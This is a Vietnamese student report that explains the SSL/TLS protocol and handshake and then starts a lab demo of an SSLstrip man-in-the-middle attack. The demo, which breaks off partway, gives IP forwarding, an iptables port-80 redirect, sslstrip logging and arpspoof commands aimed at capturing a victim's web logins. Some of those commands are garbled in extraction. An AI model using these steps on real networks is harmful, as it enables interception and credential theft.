Tìm hiêu giao thức SSL và thực hiện mô phỏng tấn công SSLStrip

36 1K 14
Tìm hiêu giao thức SSL và thực hiện mô phỏng tấn công SSLStrip

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Có một vài giao thức góp phần tối ưu công việc bảo mật thông tin trên nền World Wide Web. Một trong số đó là giao thức SSL (viết tắt Secure Sockets Layer) Tài liệu xin trình bày những hiểu biết về giao thức SSL và demo 1 hình thức tấn công qua SSL.

Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM LỜI NĨI ĐẦU Như biết kể từ Internet đời Cùng với lĩnh vực công nghệ tin không ngừng phát triền, kèm theo Mạng Internet mang lại nhiều tiện ích hữu dụng cho người sử dụng, tiện ích phổ thơng Internet hệ thống thư điện tử (email), trò chuyện trực tuyến (chat), máy truy tìm liệu (search engine), dịch vụ thương mại chuyển ngân, dịch vụ y tế giáo dục chữa bệnh từ xa tổ chức lớp học ảo Chúng cung cấp khối lượng thông tin dịch vụ khổng lồ Internet Nguồn thông tin khổng lồ kèm theo dịch vụ tương ứng hệ thống trang Web liên kết với tài liệu khác WWW (World Wide Web).Đó kênh trao đổi thơng tin hữu ích nhanh chóng Song tất khơng phải tồn mỹ , nghĩa thông tin bạn trao đổi thơng qua Internet bị bên thứ tác động vào lộ mát thông tin v.v Để khắc phục hạn chế người ta phát triển nên giao thức giúp phần hạn chế điều Trong biết tới giao thức góp phần tối ưu cơng việc bảo mật thơng tin World Wide Web Đó giao thức SSL (viết tắt Secure Sockets Layer) Nhận biêt tầm quan trọng nó, nhóm em xin trình bày hiểu biết giao thức SSL demo hình thức công qua SSL Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM CHƯƠNG : TỔNG QUAN VỀ GIAO THỨC SSL Khái niệm SSL (Secure Sockets Layer) giao thức đa mục đích thiết kế để tạo giao tiếp hai chương trình ứng dụng cổng định trước(socket 443) nhằm mã hóa tồn thơng tin đi/đến, sử dụng giao dịch điện tử truyền số liệu thẻ tín dụng, mật khẩu, số bí mật cá nhân (PIN) Internet Để đảm bảo tính bảo mật thơng tin Internet hay mạng TCP/IP SSL đời kết hợp với yếu tố sau để thiết lập giao dịch an toàn: • Xác thực: đảm bảo tính xác thức trang mà bạn làm việc đầu kết nối Cũng vậy, trang Web cần phải kiểm tra tính xác thực người sử dụng • Mã hóa: đảm bảo thơng tin khơng bị truy cập đối tượng thứ ba Để loại trừ việc nghe trộm thơng tin “nhạy cảm” truyền qua Internet • Tồn vẹn liệu: đảm bảo thơng tin khơng bị sai lệch phải thể xác thơng tin gốc gửi đến SSL khơng phải giao thức đơn lẻ, mà tập thủ tục chuẩn hoá để thực nhiệm vụ bảo mật sau: • • Xác thực server: Cho phép người sử dụng xác thực server muốn kết nối Lúc này, phía browser sử dụng kỹ thuật mã hố cơng khai để chắn certificate public ID server có giá trị cấp phát CA (certificate authority) danh sách CA đáng tin cậy client Điều quan trọng người dùng Ví dụ gửi mã số credit card qua mạng người dùng thực muốn kiểm tra liệu server nhận thơng tin có server mà họ định gửi đến khơng Xác thực Client: Cho phép phía server xác thực người sử dụng muốn kết nối Phía server sử dụng kỹ thuật mã hố công khai để kiểm tra xem certificate public ID server có giá trị hay khơng cấp phát CA (certificate authority) danh sách CA đáng tin cậy server không Điều quan trọng nhà cung cấp Ví dụ ngân hàng định gửi thông tin tài mang tính bảo mật tới khách hàng họ muốn kiểm tra định danh người nhận Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM • Mã hố kết nối: Tất thông tin trao đổi client server mã hoá đường truyền nhằm nâng cao khả bảo mật Điều quan trọng hai bên có giao dịch mang tính riêng tư Ngồi ra, tất liệu gửi kết nối SSL mã hố bảo vệ nhờ chế tự động phát xáo trộn, thay đổi liệu ( thuật tốn băm – hash algorithm) Tại sử dung SSL: Ngày việc bảo mật thông tin yếu tố quan trọng để định sống tổ chức ,một công ty hay doanh nghiệp Với phát triển nhanh chóng cơng nghệ mang lại nhiều tiện ích cho người dùng đồng thời đặt nhu cầu cấp thiết an tồn bảo mật Và SSL giải pháp tốt đáp ứng nhu cầu coi “lá chắn cuối cùng” bảo mật thương mại điện tử Giao thức SSL ban đầu phát triển Netscape.Version 1.0 không công bố rộng rãi.Version 2.0 công bố vào tháng 2/1995 chứa nhiều lỗ hổng bảo mật sau đưa đến mơ hình SSL version 3.0 ban hành năm 1996.Bản sau dùng cho TLS version 1.0 IETF xác định giao thức chuẩn RFC 2246 vào tháng 1/1999 Ngày Visa, MasterCard, American Express nhiều cơng ty giải pháp tài hàng đầu khác giới ứng dụng SSL thương mại điện tử Việc truyền thông tin nhạy cảm mạng khơng an tồn vấn đề sau: • • • Bạn khơng thể ln ln bạn trao đổi thông tin với đối tượng cần trao đổi Dữ liệu mạng bị chặn ,vì liệu bị đối tượng thứ khác đọc trộm, thường biết đến attacker Nếu attacker chặn liệu, attacker sửa đổi liệu trước gửi đến người nhận SSL giải vấn đề trên.SSL giải vấn đề cách cho phép cách tùy chọn bên trao đổi chắn định danh phía đối tác trình gọi uthentication (xác thực).Một bên xác thực,SSL cung cấp kết nối mã hóa bên Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM để truyền bảo mật message Việc mã hóa q trình trao đổi thơng tin bên cung cấp riêng tư bí mật,vì mà giải vấn đề thứ 2.Thuật toán mã hóa sử dụng với SSL bao gồm hàm băm mã hóa,tương tự checksum.Nó đảm bảo liệu khơng bị thay đổi q trình truyền dẫn.Hàm băm mã hóa giải vấn đề thứ 3,tính tồn vẹn liệu Chú ý rằng,cả xác thực mã hóa tùy chọn, phụ thuộc vào cipher suites (các mã hóa) đàm phán đối tượng Một ví dụ rõ ràng mà bạn nên sử dụng SSL trao đổi thơng tin giao dịch qua mạng (e-commerce).Trong trao đổi ecommerce,thật dại dột giả định bạn chắn định danh server mà bạn trao đổi thơng tin.Ai dễ dàng tạo Website giả hứa hẹn dịch vụ tuyệt vời ,chỉ bạn nhập vào số tài khoản.SSL cho phép bạn, client,xác thực định danh server.Nó cho phép server xác thực định danh client,mặc dù giao tác Internet,việc làm Một client server hài lòng với định danh bên đối tác.SSL cung cấp tính bảo mật tính tồn vẹn thơng qua thuật tốn mã hóa mà sử dụng.Điều cho phép thông tin nhạy cảm,như số tài khoản,được truyền cách an toàn Internet Trong SSL cung cấp tính xác thực,tính bảo mật tồn vẹn dự liệu,nó khơng cung cấp non-repudiation (tính khơng từ chối).Nonrepudiation có nghĩa đối tượng gửi message ,thì sau khơng thể phủ nhận việc gửi message đó.Khi chữ kí số tương đương liên kết với message,việc trao đổi sau chứng minh.SSL khơng cung cấp non-repudiation Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM Lịch sử phát triển Như biết có hai giao thức bảo mật quan trọng lớp vận chuyển(Layer Transport) có tầm quan trọng cao bảo mật trình ứng dụng Web : hai giao thức SSL TLS Nói chung, có số khả để bảo vệ mật mã lưu lượng liệu HTTP Ví dụ, vào năm 1990, tập đoàn CommerceNet đề xuất SHTTP mà cải tiến bảo mật HTTP Một phần thực thi S-HTTP làm cho có sẵn cơng cộng phiên chỉnh sửa trình duyệt Mosaic NCSA mà người dùng phải mua Tuy nhiên, thời điểm Netscape Communication giới thiệu SSL giao thức tương ứng phiên Netscape Navigator, trái với tập đoàn CommerrceNet, Netscape Communications khơng tính phí khách hàng việc thực thi giao thức bảo mật Kết quả, SSL trở thành giao thức bật để cung cấp dịch vụ bảo mật cho lưu lượng liệu HTTP 1994 S-HTTP lặng lẽ biến Cho đến bây giờ, có phiên SSL: • SSL 1.0: sử dựng nội Netscape Comminications Nó chứa số khiếm khuyết nghiêm trọng khơng tung bên ngồi Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM • • SSL 2.0: kết nhập vào Netscape Communications 1.0 đến 2.x Nó có số điểm yếu lien quan đến than cụ thể công đối tượng trung gian Trong nỗ lực nhằm dung không chắn công chúng bảo mật SSL, Microsoft giới thiệu giao thức PCT(Private Communication Technology) cạnh tranh lần tung Interner Exploer vào năm 1996 SSL 3.0: Netscape Communications phản ứng lại thách thức PCT Microsoft cách giới thiệu SSL 3.0 vốn giải vấn đề SSL 2.0 them số tính Vào thời điểm này, Microsoft nhượng đồng ý hỗ trợ SSL tất phiên phần mềm dựa vào TCP/IP Thơng số kỹ thuật SSL 3.0 tung thức vào tháng 3/1996 Nó thực thi tất trình duyệt bao gồm ví dụ Microsoft Interner Explorer 3.0(và phiên cao hơn), Open Các thuật tốn mã hóa dùng SSL • (Data Encryption Standard): thuật tốn mã hóa DES có chiều dài khóa 56 bit • 3-DES:là thuật tốn mã hóa có độ dài khóa gấp lần độ dài khóa mã hóa DES • DSA(Digital Signature Algorithm): phần chuẩn xác thực số phủ Mỹ dụng • KEA(Key Exchange Algorithm): thuật tốn trao đổi khóa phủ Mỹ sử dụng • MD5(Message Digest Algorithm): phát triển Rivest • RSA: thuật tốn mã hóa cơng khai dùng q trình mã hóa giải mã Rivest, Shamir Adleman phát triển • RSA key exchange: thuật tốn trao đổi khóa dùng SSL dựa thuật tốn RSA • RC2 and RC4: thuật tốn mã hóa phát triển Rivest dùng cho RSA Data Security • SHA-1(Secure Hash Algorithm): thuật tốn băm phủ Mỹ sử dụng Cách thức hoạt động 5.1 Đàm phán Cipher suite Một phiên SSL bắt đầu với việc đàm phán client server xem cipher suite mà chúng sử dùng Một cipher suite tập Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM 5.2 5.3 5.4 thuật tốn mã hóa kích thước khóa mà máy tính dùng để mã hóa liệu Một cipher suite bao gồm thơng tin thuật tốn trao đổi khóa cơng khai thuật tốn thỏa thuận khóa,và hàm băm mã hóa Client nói với server cipher suite có sẵn server lựa chọn cipher suite tốt chấp nhận Xác thực server Trong SSL, bước xác thực tùy chọn, ví dụ giao tác e-commerce Web, client theo thông thường muốn xác thực server.Việc xác thực server cho phép client chắn server đại diện cho đối tượng mà client tin tưởng Để chứng minh server thuộc tổ chức mà khẳng định đại diện, server phải trình chứng khóa cơng khai cho client Nếu chứng hợp lệ , client chắn định danh server Thông tin trao đổi qua lại client server cho phép chúng thỏa thuận khóa bí mật chung Ví dụ,với RSA, client dùng khóa cơng khai server, có từ chứng khóa cơng khai, để mã hóa thơng tin khóa bí mật Client gửi thơng tin khóa bí mật mã hóa đến server Chỉ có server giải mã message trình giải mã phải cần đến khóa riêng server Gửi liệu mã hóa Bây giờ, client server truy cập đến khóa bí mật chung.Với message , chúng dùng đến hàm băm mã hóa, chọn bước thứ tiến trình này, chia sẻ thơng tin bí mật,để tính tốn HMAC nối thêm vào message Sau đó, chúng dùng khóa bí mật thuật tốn khóa bí mật đàm phán bước tiến trình để mã hóa liệu HMAC an tồn Client server trao đổi thơng tin với cách an toàn với liệu băm mã hóa Tiến trình SSL Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM Các Massage SSL Các message SSL gửi theo thứ tự sau: 1) Client hello: client gửi đến server thông tin bao gồm phiên SSL cao danh sách cipher suite mà hỗ trợ (TLS 1.0 SSL3.1).Thơng tin cipher suite bao gồm thuật tốn mã hóa kích thước khóa 2) Server hello: server chọn phiên SSL cao cipher suite tốt mà client server hỗ trợ, gửi thông tin cho client 3) Certificate: server gửi cho client chứng chuỗi chứng chỉ.Về bản,1 chuỗi chứng bắt đầu chứng khóa cơng khai server kết thúc chứng gốc tổ chức có thẩm quyền chứng chỉ.Message tùy chọn,nhưng dùng xác thực server cần thiết 4) Certificate request: server cần xác thực client,nó gửi cho client yêu cầu xem chứng chỉ.Trong ứng dụng internet,message gửi 5) Server key exchange: server gửi cho client message trao đổi khóa server khóa cơng khai gửi phần 3) bên khơng đủ cho trao đổi khóa 6) Server hello done: server nói với client hồn thành message đàm phán ban đầu 7) Certificate: server cần chứng từ client message 4, client gửi chuỗi chứng nó,cũng giống server làm message 8) Client key exchange: client sinh thơng tin dùng để tạo khóa mã hóa đối xứng.Với RSA, client mã hóa thơng tin khóa khóa cơng Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM khai server gửi đến server 9) Certificate verify: message gửi client trình chứng trên.Mục tiêu cho phép server hồn thành tiến trình xác thực client.Khi message dùng,client gửi thơng tin với chữ kí số tạo hàm băm mã hóa.Khi server giải mã thơng tin khóa cơng khai client,server xác thực client 10) Change cipher spec: client gửi message bảo server thay đổi kiểu mã hóa 11) Finished: client nói với server sẵn sàng để bắt đầu trao đổi liệu an toàn 12) Change cipher spec: server gửi message bảo client thay đổi kiểu mã hóa 13) Finished: server nói với client sẵn sàng để bắt đầu trao đổi liệu an toàn.Kết thúc SSL handshake 14) Encrypted data: client server trao đổi với nhau,sử dụng thuật tốn mã hóa đối xứng hàm băm mã hóa đàm phán message và dùng khóa bí mật mà client gửi cho server message 15) Close message: kết thúc kết nối, bên gửi massage close-notify để thông báo đầu biết kết nối bị đóng 5.5 Lựa chọn Cipher suite xóa Entuty verification • Giao thức SSL định nghĩa chuỗi bước đặc biệt • để bảo đảm kết nối “được bảo vệ”.Tuy nhiên,việc lựa chọn Cipher suite tác động trực tiếp đến loại bảo mật mà kết nối có được.Ví dụ,nếu cipher suite nặc danh chọn,ứng dụng khơng có cách để kiểm tra định danh đầu xa.Nếu suite-khơng có mã hóa, chọn,tính bí mật liệu khơng thể bảo vệ.Thêm vào đó,giao thức SSL/TLS khơng rõ tài liệu chứng nhận nhận phải khớp với mà đầu gửi.Nếu kết nối theo cách mà bị redirect đến kẻ xấu,nhưng tài liệu chứng nhận kẻ xấu trình chấp nhận dựa tư liệu tin tưởng tại,kết nối xét hợp lệ Khi dùng SSLSockets/SSLEngines,nên luôn kiểm tra tài liệu chứng nhận đầu xa trước gửi liệu nào.Các lớp SSLSockets SSLEngines khơng tự động kiểm tra hostname URL có khớp với hostname tài liệu chứng nhận đầu hay không.Một ứng dụng Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 10 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM liệu ứng dụng truyền đi.Giao thức SSL Handshake bao gồm loạt message trao đổi client server Mỗi message có ba trường: • • • Type (1 byte): mười dạng message Length (3 bytes): độ dài message theo bytes Content (>=0 bytes): tham số kèm với message này, liệt kê Hình 3.4 a Hình 2.4 a :Các kiểu message giao thức SSL handshake Hình 2.4 b: thể trao đổi lúc ban đầu cần thiết lập kết nối logic client server.Việc trao đổi xem có bốn giai đoạn Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 22 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM 2.4.1 Giai đoạn – Thiết lập khả bảo mật : Giai đoạn dung để bắt đầu kết nối logic thiết lập khả bảo mật mà liên kết với nó.Việc trao đổi khởi tạo client việc gửi client_hello message với thông số sau đây: • • • • Version: version SSL mà client biết Random: cấu trúc sinh ngẫu nhiên từ client, bao gồm nhãn thời gian 32 bit 28 bytes sinh sinh số ngẫu nhiên an toàn Những giá trị phục vụ cho lần sử dụng suốt trình trao đổi khóa để ngăn cơng lập lại Session ID: ID phiên có chiều dài thay đổi được.SessionID khác nghĩa client muốn cập nhật tham số kết nối tồn hay tạo kết nối phiên này.SessionID = client muốn thiết lập kết nối phiên Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 23 Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM • • CipherSuite: danh sách mà chứa biên dịch thuật tốn mã hóa hỗ trợ client, tham khảo theo thứ tự giảm dần Mỗi thành phần danh sách (mỗi mã hóa) định nghĩa khóa trao đổi CipherSpec, thông số bàn đến sau Compression Method: danh sách phương thức nén mà client hỗ trợ Sau gửi client_hello message, client chờ nhận server_hello message mà chứa thông số với client_hello message.Với server_hello message, thỏa thuận kèm theo áp dụng Trường Version chứa version thấp đề nghị client cao hổ trợ sever.Trường Random sinh server độc lập với trường Random client Nếu trường SessionID client khác 0, giá trị tương tự dùng server,ngược lại trường SessionID server chứa giá trị phiên Trường CipherSuite chứa mã hóa chọn server từ đề xuất client Trường Compression chứa phương thức nén chọn server từ đề xuất client Thành phần thông số Cipher Suite phương thức trao đổi khóa (ví dụ cách khóa mã hóa cho việc mã hóa thơng thường MAC trao đổi ) Những phương thức trao đổi khóa sau hỗ trợ: RSA: khóa bí mật mã hóa với khóa cơng khai RSA bên nhận Một public-key certificate cho khóa bên nhận phải tạo sẵn • • • RSA: khóa bí mật mã hóa với khóa cơng khai RSA bên nhận Một public-key certificate cho khóa bên nhận phải tạo sẵn Fixed Diffie-Hellman:đây trao đổi khóa Diffie-Hellman certificate server chứa thơngsố công khai Diffie-Hellman ký Certificate Authority (CA) Nghĩa certificate khóa cơng khaichứa thơng số khóa cơng khai Diffie-Hellman Client chứa sẵn thơng số khóa cơng khai DiffieHellman certificate chứng thực client yêu cầu message trao đổiHellman certificate chứng thực client yêu cầu message trao đổiHellman sử dụng khóa cơng khai cố định Ephemeral Diffie-Hellman: Phương pháp sử dụng để tạo khóa „ephemeral‟(tạm thời,1 lần)– khóa tạm thời Trong trường hợp này, khóa cơng khai Diffie-Hellman trao đổi,được ký sử dụng khóa bí mật RSA DSS bên gửi.Bên nhận sử dụng khóa cơng khai tương ứng để xác minh chữ ký.Certificate sử dụng để xác thực khóa Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 24 Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM • • • công khai Điều bảo đảm ba lựa chọn DiffieHellman kết tạm thời khóa xác thực Anonymous Diffie-Hellman: thuật tốn Diffie-Hellman sử dụng, khơng chứng thực.Nghĩa lần bên gửi thông số DiffieHellman cơng khai cho bên khơng xác thực.Điều gần bị cơng cơng Man-in-the-middle ,trong kẻ cơng điều khiển nhóm anonymous Diffie-Hellman Fortezza: phương pháp định nghĩa cho lược đồ Fortezza Định nghĩa kèm theo cho phương pháp trao đổi khóa CipherSpec , bao gồm trường sau : • • • • • • • • • • CipherAlgorithm: vài thuật toán kể đến : RC4, RC2, DES, 3DES, DES40, IDEA, Fortezza MACAlgorithm: MD5 SHA-1 CipherType: luồng khối IsExportable: True False HashSize: 0, 16 (cho MD5), hay 20 (cho SHA-1) bytes Key Material: thứ tự bytes mà chứa liệu dùng sinh khóa IV Size: kích thước giá trị khởi tạo cho mã hóa Cipher Block Chaining (CBC) 2.4.2.Giai đoạn – Xác thực server trao đổi khóa : Server bắt đầu giai đoạn cách gửi certificate nó cần xác thực; thơng điệp chứa một chuỗi certificate(chứng thực) X.509 Thông điệp chứng thực yêu cầu cho phương pháp trao đổi khóa thỏa thuận, ngoại trừ anonymous DiffieHellman.Chú ý fixed Diffie-Hellman dùng,thì thơng điệp chứng thực có chức thơng điệp trao đổi khóa server chứa tham số Diffie-Hellman cơng khai server Sau thơng điệp server_key_exchange gửi u cầu.Nó khơng u cầu trường hợp sau:  Server gửi certificate với tham số fixed Diffie-Hellman  Trao đổi khố RSA dùng Thơng điệp server_key_exchange cần cho trường hợp sau: Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 25 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM - - - - Anonymous Diffie-Hellman : Nội dung thông điệp bao gồm hai giá trị Diffie-Hellman toànAnonymous Diffie-Hellman : Nội dung thơng điệp bao gồm hai giá trị Diffie-Hellman tồnHellman server Ephemeral Diffie-Hellman : nội dung thông điệp bao gồm tham số Diffie-Hellman cung cấp cho anonymous Diffie-Hellman,cùng với chữ kí tham số Trao đổi khóa RSA,mà theo server sử dụng RSA có khóa chữ kí RSA Theo đó,client khơng thể gửi cách đơn giản khóa bí mật mã hóa với khóa cơng khai/bí mật RSA phụ sử dụng thơng điệp server_key_exchanged để gửi khóa công khai.Nội dung thông điệp bao gồm hai tham số khóa cơng khai RSA phụ(số mũ số dư) với chữ ký tham số Fortezza: vài chi tiết thêm chữ kí đảm bảo Như thường lệ,một chữ kí tạo việc lấy mã băm thông điệp mã hóa với khóa bí mật bên gửi Trong trường hợp mã băm định nghĩa: Hash (ClientHello.random||ServerHello.random||ServerParams) Vì mã băm bao gồm khơng thơng số Diffie-Hellman hay RSA,mà có hai số ngẫu nhiên từ thông điệp hello khởi tạo.Điều đảm bảo chống lại công replay misrepresentation(giả dạng).Trong trường hợp chữ kí DSS,mã băm biểu diễn sử dụng giải thuật SHA-1.Trong trường hợp chữ kí RSA,cả mã băm MD5 SHA-1 tính tốn, nối hai mã băm(36 byte) mã hố với khóa bí mật server • - Kế đến, nonanonymous server(server khơng dùng anonymous DiffieHellman) u cầu certificate từ client.Một thông điệp certificate_request bao gồm hai thông số certificate_type certificate_authorities Kiểu certificate giải thuật khóa cơng khai,và dùng: RSA,chỉ dùng chữ kí DSS,chỉ dùng chữ kí RSA cho Diffie-Hellman thích hợp, trường hợp chữ kí dùng để xác thực,bằng cách gửi dùng certificate kí với RSA DSS cho fixed Diffie-Hellman, lần nữa,chỉ dùng để xác thực RSA cho ephemeral Diffie-Hellman DSS cho ephemeral Diffie-Hellman Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 26 Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM - Fortezza Thông số thứ thông điệp certificate_request danh sách tên CA đặc biệt chấp nhận Thông điệp cuối giai đoạn 2, phần yêu cầu,là thông điệp Server_done,mà gửi cho server để điểm cuối thông điệp cuối server_hello message kèm.Sau gửi thông điệp,server chờ hồi đáp client.Thơng điệp khơng có tham số 2.4.3.Giai • • - - • đoạn – Xác thực client trao đổi khóa: Trong nhận thông điệp server_done, client xác nhận xem server cung cấp chứng hợp lệ hay chưa yêu cầu kiểm tra xem thông số server_hello chấp nhận hay không.Nếu tất thoả mãn,client gửi hay nhiều message trở lại cho server Nếu server yêu cầu certificate,client bắt đầu giai đoạn cách gửi thơng điệp certificate.Nếu khống có certificate phù hợp hợp lệ, client gửi cảnh báo no_certificate thay Kế đến thông điệp client_key_exchange phải gửi giai đoạn này.Nội dung thơng điệp phụ thuộc vào kiểu trao đổi khóa Như sau: RSA: client sinh trường 48 byte pre-master secret mã hóa với khóa cơngkhai từ chứng thực server khóa RSA phụ từ thơng điệp server_key_exchange Nó dùng để tính tốn master secret(sẽ nói sau) Ephemeral Anonymous Diffie-Hellman: tham số Diffie-hellman công khai client gửi Fixed Diffie-Hellman: tham số Diffie-Hellman công khai client gửi thơng điệp certificate,vì nội dung thơng điệp null Fortezza: tham số Fortezza client gửi Cuối cùng,trong giai đoạn này,client gửi message certificate_verify để cung cấp xác thực tường minh chứng client.Thông điệp gửi theo sau client certificate đánh dấu có khả năng(nghĩa tất certificate ngoại trừ chứa tham số fixed Diffie-Hellman) Thông điệp đánh dấu mã băm dựa thơng điệp có trước,được định nghĩa sau: CertificateVerify.signature.md5_hash Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 27 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM MD5(master_secret || pad_2 || MD5(handshake_messages || master_secret || pad_1)); Certificate.signature.sha_hash SHA(master_secret || pad_2 || SHA(handshake_messages || master_secret || pad_1)); • • Với pad_1 pad_2 giá trị định nghĩa sớm cho MAC, handshake_messages xem xét đến tất thông điệp giao thức bắt tay gửi hay nhận client_hello khơng bao gồm thơng điệp này,và master_secret khóa bí mật tính tốn mà q trình xây dựng tìm hiểu sau Nếu khóa bí mật user DSS, dùng để mã hóa mã băm SHA-1 Nếu khóa bí mật user RSA, dùng để mã hóa chuỗi mã băm MD5 SHA-1 Trong trường hợp khác, mục đích để xác minh quyền sở hữu client với khóa bí mật cho chứng thực client.Cho dù lạm dụng certificate client gửi message 2.4.4.Giai đoạn – Kết thúc : • Giai đoạn hồn thành thiết lập kết nối an tồn,Client gửi thơng điệp change_cipher_spec chép CipherSpec đệm vào CipherSpec tại.Chú ý thông điệp không xem phần giao thức bắt tay gửi sử dụng giao thức Change Cipher Spec Client sau gửi thông điệp kết thúc theo giải thuật mới, với khóa bí mật.Thơng điệp kết thúc xác minh xem q trình trao đổi khóa xác thực có thành cơng hay khơng.nội dung thơng điệp hoàn tất chuỗi hai giá trị băm : MD5(master_secret || pad2 || MD5(handshake_messages || Sender || master_secret || pad1)) SHA(master_secret || pad2 || SHA(handshake_messages || Sender || master_secret || pad1)) • Tại bên gửi mã mà xác định bên gửi client , handshake_messages tất liệu từ tất thông điệp bắt tay trở lên không bao gồm thơng điệp • Khi đáp lại hai thơng điệp này,server gửi thơng điệp change_cipher_spec nó, chuyển đổi trạng thái treo cho cipherSpec gửi thơng điệp kết thúc đi.Ở điểm q trình bắt tay hồn thành client server bắt đầu trao đổi liệu lớp ứng dụng Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 28 Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM 2.5 Tính tốn mã hóa Gồm việc tạo shared master secret cách trao đổi khóa, sinh tham số mật mã từ master secret 2.5.1.Việc tạo Master Secret : Shared master secret giá trị one-time 48 byte (384 bits) sinh cho phiên cách trao đổi khóa an tồn.Việc tạo gồm hai bước: - Đầu tiên, pre-master-secret trao đổi - Thứ hai, master_secret tính tốn nhóm Đối với trao đổi pre_master_secret, có hai khả xảy ra:  RSA: 48 byte pre_master_secret sinh client, mã hóa với khóa RSA cơng khai server, gửi cho server.Server giải mã ciphertext sử dụng khóa bí mật để phục hồi lại pre_master_secret  Diffie-Hellman: client server sinh khóa cơng khai DiffieHellman Sau đó, khóa trao đổi, bên biểu diễn việc tính tốn Diffie-Hellman để tạo shared_pre_master_secret Cả bên tính tốn master_secret sau: master_secret = MD5 (pre_master_secret || SHA ('A' || pre_master_secret || ClientHello.random || ServerHello.random)) || MD5 (pre_master_secret || SHA ('BB' || pre_master_secret || ClientHello.random || ServerHello.random)) || MD5 (pre_master_secret || SHA ('CCC' || pre_master_secret || ClientHello.random || ServerHello.random)) Với ClientHello.random ServerHello.random giá trị số ngẫu nhiên trao đổi thông điệp hello khởi tạo ban đầu Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 29 Đề tài : Tìm hiểu giao thức SSL demo cơng SSLstrip MITM 2.5.2.Việc sinh tham số mã hóa : CipherSpec yêu cầu khóa xác thực client, khóa xác thực server, khóa mật mã client, khóa mật mã server, vector khởi tạo IV client, vector khởi tạo IV server, mà sinh từ master_secret theo thứ tự đó.Những tham số sinh từ master_secret cách băm master_secret thành chuỗi liên tục byte bảo mật với chiều dài vừa đủ tất tham số cần thiết Việc sinh nguyên liệu khóa từ master_secret sử dụng định dạng cho việc sinh master_secret từ pre_master_secret: key_block = MD5(master_secret || SHA('A' || master_secret || ServerHello.random || ClientHello.random)) || MD5(master_secret || SHA('BB' || master_secret || ServerHello.random || ClientHello.random)) || MD5(master_secret || SHA('CCC' || master_secret || ServerHello.random || ClientHello.random)) || Cho đến đủ số output phát sinh.Kết cấu trúc giải thuật hàm sinh số ngẫu nhiên Ta xem master_secret giá trị ngẫu nhiên đưa hạt giống sinh số ngẫu nhiên vào hàm sinh số ngẫu Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 30 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM nhiên.Các số ngẫu nhiên client server nhìn giá trị khơng đáng tin cậy(salt value) làm phứctạp giải mã mật mã Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 31 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM CHƯƠNG : Demo Tấn Công SSLstrip - Man In The Middle Giới thiệu SSLstrip SSLstrip cơng cụ tương tác q trình chuyển từ http sang https ứng dụng web SSL strip công cụ hữu hiệu để capture username/password login ứng dụng web SSL Trip cài sẵn backtrack5 Yêu cầu Máy thật máy ảo Win XP Win để làm nạn nhân Máy ảo backtrack RC2/3 (máy ảo), cài sẵn SSLstrip Nếu chưa cài SSL strip : Giải nén : Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 32 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM Xem thư mục : Cài đặt : Lưu ý : phải cấu hình máy ảo dạng Bridged ( Network Adapter = Bridged ) để mạng Tiến hành Sử dụng máy windows XP làm máy victim (nạn nhân) có địa IP 192.168.137.168 default gateway 192.168.137.1, máy công backtrack có IP 192.168.137.130 Bước : Trên attacker , ta bật enable chức IPv4 forward Để tiến hành ARP poisoning : echo > /proc/sys/net/ipv4/ip_forward Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 33 Đề tài : Tìm hiểu giao thức SSL demo công SSLstrip MITM Bước : dùng IPtables để chuyển cất gói tin TCP port 80 sang port bất kì, ta chọn port 8080 Port port listen ssl strip sau Iptables –t nat –A PREROUTING –p tcp –destination –port 80 –j REDIRECT –-to-port Iptables –t nat –A FREROUTING –p tcp –destination-port 80 –j REDIRECT –to-port 8080 Bước : chạy sslstrip listen port chọn (port 8080) : • Cd sslstrip-0.9 • Sslstrip –w logfile.log –l 8080 Bước : Tiến hành arpspoof ( giả mạo địa MAC máy victim) : Arpspoof -i eth0 –t • Với máy victim IP 192.168.137.168 default gateway 192.168.137.1 ta gõ lệnh Arpspoof –i eth0 –t 192.168.137.168 192.168.137.1 Học Viện Kỹ Thuật Mật Mã – Lớp AT8APage 34 Đề tài : Tìm hiểu giao thức 